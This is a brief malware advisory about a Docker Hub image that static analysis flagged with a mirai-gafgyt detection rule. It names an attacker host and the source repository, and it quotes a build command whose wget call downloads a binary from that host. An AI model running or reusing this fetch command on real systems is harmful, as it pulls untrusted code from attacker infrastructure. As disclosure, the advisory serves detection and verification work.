GCVE-110-OSM-2026-9492

This Docker Hub image was confirmed malicious by static analysis. The image contains code matching a known malware or botnet family. Knorr inspected the image configuration and unpacked its layers. The image was read but never executed. The detection rule, the attacker infrastructure, and the exact location of the malicious code appear in the payload details so the finding can be verified independently. Attacker host: t.imlxy.net. Built from: github.com/yyuueexxiinngg/cqhttp-mirai. Location of the malicious code: image ENTRYPOINT / CMD / build history. Detection rule mirai-gafgyt matched on this line: "/bin/sh -c set -eux; mkdir -p plugins/CQHTTPMirai; wget http://t.imlxy.net:64724/mirai/MiraiOK/miraiOK_linux_amd64 -O miraiOK; wget https://github.com/yyuueexxiinngg/cqhttp-mirai/releases/do".